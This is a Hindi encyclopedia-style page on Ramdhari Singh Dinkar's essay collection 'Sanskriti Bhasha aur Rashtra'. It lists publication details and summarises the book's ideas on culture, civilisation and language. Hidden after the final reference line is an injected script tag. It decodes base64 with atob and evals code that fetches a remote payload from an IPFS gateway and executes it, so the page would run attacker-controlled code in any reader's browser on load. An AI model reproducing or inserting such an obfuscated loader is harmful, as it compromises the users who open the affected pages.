संस्कृति भाषा और राष्ट्र -रामधारी सिंह दिनकर

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संस्कृति भाषा और राष्ट्र -रामधारी सिंह दिनकर
'संस्कृति भाषा और राष्ट्र' का आवरण पृष्ठ
लेखक रामधारी सिंह दिनकर
मूल शीर्षक 'संस्कृति भाषा और राष्ट्र'
प्रकाशक लोकभारती प्रकाशन
ISBN 978-81-8031-329
देश भारत
भाषा हिन्दी
प्रकार भाषा एवं साहित्य
टिप्पणी इस पुस्तक में दिनकर जी बेहद सरल, सुबोध भाषा-शैली में बताते हैं कि जातियों का सांस्कृतिक विनाश तब होता है, जब वे अपनी परम्पराओं को भूलकर दूसरों की परम्पराओं का अनुकरण करने लगती हैं।

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संस्कृति भाषा और राष्ट्र प्रसिद्ध कवि और निबन्धकार रामधारी सिंह दिनकर के सारगर्भित भाषणों, आलेखों और निबन्धों का कालातीत तथा हमेशा प्रासंगिक रहने वाला संकलन है। इस पुस्तक में दिनकर जी बेहद सरल, सुबोध भाषा-शैली में बताते हैं कि जातियों का सांस्कृतिक विनाश तब होता है, जब वे अपनी परम्पराओं को भूलकर दूसरों की परम्पराओं का अनुकरण करने लगती हैं। तथा सांस्कृतिक दास्ता का भयानक रूप वह होता है, जब कोई जाति अपनी भाषा को छोड़कर दूसरों की भाषा अपना लेती है।

भूमिका

कवि रामधारी सिंह दिनकर दिनकर की विराट प्रतिभा के दर्शन ‘संस्कृत के चार अध्याय’ के लेखक के रूप में साहित्य-जगत को हुए थे। वे कवि तो थे ही, इसके साथ-साथ विद्वान चिन्तक और अनुसंधानकर्त्ता भी थे। 'संस्कृति भाषा और राष्ट्र' पुस्तक में दिनकर जी की गम्भीर-चिन्तन दृष्टि की झाँकी मिलती है। दिनकर जी के निबन्ध, लेख और भाषण प्रमाणित करते हैं कि हिन्दू धर्म और हिन्दू संस्कृति के निर्माण में केवल आर्यों और द्रविड़ों का ही नहीं, बल्कि उनसे पूर्व के आदिवासियों का भी काफ़ी योगदान है। यही नहीं, हिन्दुत्व, बौद्ध मत और जैन मत के पारस्परिक मतभेद भी बुनियादी नहीं हैं।[1]

इस पुस्तक में दिनकर जी ने बेहद सरल, सुबोध भाषा-शैली को अपनाया है। पुस्तक में वे बताते हैं कि जातियों का सांस्कृतिक विनाश तब होता है, जब वे अपनी परम्पराओं को भूलकर दूसरों की परम्पराओं का अनुकरण करने लगती हैं। और सांस्कृतिक दास्ता का भयानक रूप वह होता है, जब कोई जाति अपनी भाषा को छोड़कर दूसरों की भाषा अपना लेती है। इसका फल यह होता है कि वह जाति अपना व्यक्तित्व खो बैठती है और उसके स्वाभिमान का विनाश हो जाता है। पुस्तक 'संस्कृत भाषा और राष्ट्र' प्राचीन भारत के विभिन्न सम्प्रदायों, धर्मों, जातियों और संस्कृतियों की मूलभूत एकता और उनकी विषमता को रेखांकित करने वाली अमूल्य कृति है।

संस्कृति

'संस्कृति वह है, जिसे लक्षणों से तो हम जान सकते हैं, किन्तु उसकी परिभाषा नहीं दे सकते। कुछ अंशों में वह सभ्यता से भिन्न गुण है। अंग्रेज़ी में एक कहावत है कि सभ्यता वह चीज है, जो हमारे पास है, संस्कृति वह गुण है, जो हममें व्याप्त है। मोटर, महल, सड़क, हवाई जहाज, पोशाक और अच्छा भोजन-ये तथा इनके समान सारी अन्य स्थूल वस्तुएँ संस्कृति नहीं, सभ्यता के समान हैं। मगर पोशाक पहनने और भोजन करने में जो कला है, वह संस्कृति की चीज है। इसी प्रकार मोटर बनाने और उसका उपयोग करने, महलों के निर्माण में रुचि का परिचय देने और सड़कों तथा हवाई जहाजों की रचना में जो ज्ञान लगता है, उसे अर्जित करने में संस्कृति अपने को व्यक्त करती है। हर सुसभ्य आदमी सुसंस्कृत ही होता है, ऐसा नहीं कहा जा सकता; क्योंकि अच्छी पोशाक पहनने वाला आदमी भी तबीयत से नंगा हो सकता है और तबीयत से नंगा होना संस्कृति के विरुद्ध बात है। और यह भी नहीं कहा जा सकता कि हर सुसंस्कृत आदमी सभ्य भी होता है, क्योंकि सभ्यता की पहचान सुख-सुविधा और ठाट-बाट हैं। मगर बहुत-से ऐसे लोग हैं, जो सड़े-गले झोंपड़ों में रहते हैं, जिनके पास कपड़े भी नहीं होते और न कपड़े पहनने के अच्छे ढंग ही उन्हें मालूम होते हैं, लेकिन फिर उनमें विनय और सदाचार होता है, वे दूसरों के दु:ख से दु:खी होते हैं तथा दु:ख को दूर करने के लिए वे खु:द मुसीबत उठाने को भी तैयार रहते हैं।[1]

संस्कृति के रचयिता

आदिकाल से हमारे लिए जो लोग काव्य और दर्शन रचते आए हैं, चित्र और मूर्ति बनाते आए हैं, वे हमारी संस्कृति के रचयिता हैं। आदिकाल से हम जिस-जिस रूप में शासन चलाते आए हैं, पूजा करते आए हैं, मन्दिर और मकान बनाते आए हैं, नाटक और अभिनय करते आए हैं, बरतन और घर के दूसरे सामान बनाते आए हैं, कपड़े और जेवर पहनते आए हैं, विवाह और श्राद्ध करते आए हैं, पर्व और त्योहार मनाते आए हैं अथवा परिवार, पड़ोसी और संसार में दोस्ती या दुश्मनी का जो भी सलूक करते आए हैं, वह सबका सब हमारी संस्कृति का ही अंश है। संस्कृति के उपकरण हमारे पुस्तकालय और संग्रहालय, नाटकशाला और सिनेमा गृह ही नहीं, बल्कि हमारे राजनीतिक और आर्थिक संगठन भी होते हैं, क्योंकि उन पर भी हमारी रुचि और चरित्र की छाप लगी होती है।


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 संस्कृति भाषा और राष्ट्र (हिन्दी)। । अभिगमन तिथि: 26 सितम्बर, 2013।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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